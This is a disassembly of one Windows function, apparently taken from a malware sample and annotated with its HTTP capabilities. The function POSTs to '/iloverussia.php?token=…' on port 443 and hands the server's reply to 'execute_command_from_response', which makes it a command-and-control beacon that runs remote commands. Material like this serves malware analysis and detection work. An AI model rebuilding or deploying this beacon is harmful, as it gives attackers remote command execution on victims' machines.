Function at 0x402983
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
sub rsp, 0x8a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x830], rcx
mov qword [rbp + 0x838], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call sym.WinHttpOpen
mov qword [rbp + 0x800], rax
cmp qword [rbp + 0x800], 0
jne 0x4029f3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpOpen_failed._Error_code:__lu_n
call sym.wprintf
jmp 0x402f1f
mov rax, qword [rbp + 0x838]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__wcsdup]
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
jne 0x402a37
lea rcx, str.Error:_Memory_allocation_failed._n
call sym.wprintf
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov rax, qword [rbp + 0x7f8]
lea rdx, str.__t_n_r
mov rcx, rax
call sym.wcstok
mov qword [rbp + 0x7f0], rax
cmp qword [rbp + 0x7f0], 0
jne 0x402a8d
lea rcx, str.Error:_Invalid_domain_format._n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov rdx, qword [rbp + 0x7f0]
mov rax, qword [rbp + 0x800]
mov r9d, 0
mov r8d, 0x1bb
mov rcx, rax
call sym.WinHttpConnect
mov qword [rbp + 0x7e8], rax
cmp qword [rbp + 0x7e8], 0
jne 0x402afa
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpConnect_failed._Error_code:__lu_n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov dword [rsp + 0x28], 0x200
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
mov r8, qword [rbp + 0x830]
mov edx, 0
mov ecx, 0xfde9
mov rax, qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x3d0]
mov r9, rdx
lea r8, str._iloverussia.php_token_s
mov edx, 0x200
mov rcx, rax
call sym.swprintf_s
lea rax, [rbp + 0x3d0]
mov rdx, rax
lea rcx, str.Final_URL:__s_n
call sym.wprintf
lea rdx, [rbp + 0x3d0]
mov rax, qword [rbp + 0x7e8]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, str.POST
mov rcx, rax
call sym.WinHttpOpenRequest
mov qword [rbp + 0x7e0], rax
cmp qword [rbp + 0x7e0], 0
jne 0x402bfd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpOpenRequest_failed._Error_code:__lu_n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov rax, qword [rbp + 0x7e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WinHttpSendRequest
test eax, eax
jne 0x402c92
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpSendRequest_failed._Error_code:__lu_n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov rax, qword [rbp + 0x7e0]
mov edx, 0
mov rcx, rax
call sym.WinHttpReceiveResponse
test eax, eax
jne 0x402d02
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpReceiveResponse_failed._Error_code:__lu_n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
jmp 0x402f1f
mov dword [rbp - 0x34], 0
mov dword [rbp - 0x38], 0
mov qword [rbp + 0x7d8], 0
mov qword [rbp + 0x818], 0
mov qword [rbp + 0x810], 0
mov qword [rbp + 0x808], 0
mov dword [rbp - 0x34], 0
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sym.WinHttpQueryDataAvailable
test eax, eax
jne 0x402d76
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpQueryDataAvailable_failed._Error_code:__lu_n
call sym.wprintf
jmp 0x402e98
mov eax, dword [rbp - 0x34]
test eax, eax
je 0x402e97
mov eax, dword [rbp - 0x34]
mov eax, eax
add qword [rbp + 0x810], rax
mov rax, qword [rbp + 0x810]
lea rdx, [rax + 1]
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.realloc
mov qword [rbp + 0x7d0], rax
cmp qword [rbp + 0x7d0], 0
jne 0x402de3
lea rcx, str.Error:_Memory_allocation_failed._n
call sym.wprintf
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.free
mov qword [rbp + 0x808], 0
jmp 0x402e98
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x808], rax
mov eax, dword [rbp - 0x34]
add eax, 1
mov ecx, eax
mov rdx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x818]
add rax, rdx
mov r8, rcx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x818]
add rdx, rax
lea r8, [rbp - 0x38]
mov rax, qword [rbp + 0x7e0]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sym.WinHttpReadData
test eax, eax
jne 0x402e7e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_WinHttpReadData_failed._Error_code:__lu_n
call sym.wprintf
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.free
mov qword [rbp + 0x808], 0
jmp 0x402e98
mov eax, dword [rbp - 0x38]
mov eax, eax
add qword [rbp + 0x818], rax
mov eax, dword [rbp - 0x34]
test eax, eax
jne 0x402d3c
jmp 0x402e98
nop
cmp qword [rbp + 0x808], 0
je 0x402ed6
mov rdx, qword [rbp + 0x808]
mov rax, qword [rbp + 0x818]
add rax, rdx
mov byte [rax], 0
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.execute_command_from_response
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sym.free
jmp 0x402ee2
lea rcx, str.Error:_No_data_received_from_the_server._n
call sym.wprintf
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x800]
mov rcx, rax
call sym.WinHttpCloseHandle
nop
add rsp, 0x8a0
pop rbp
ret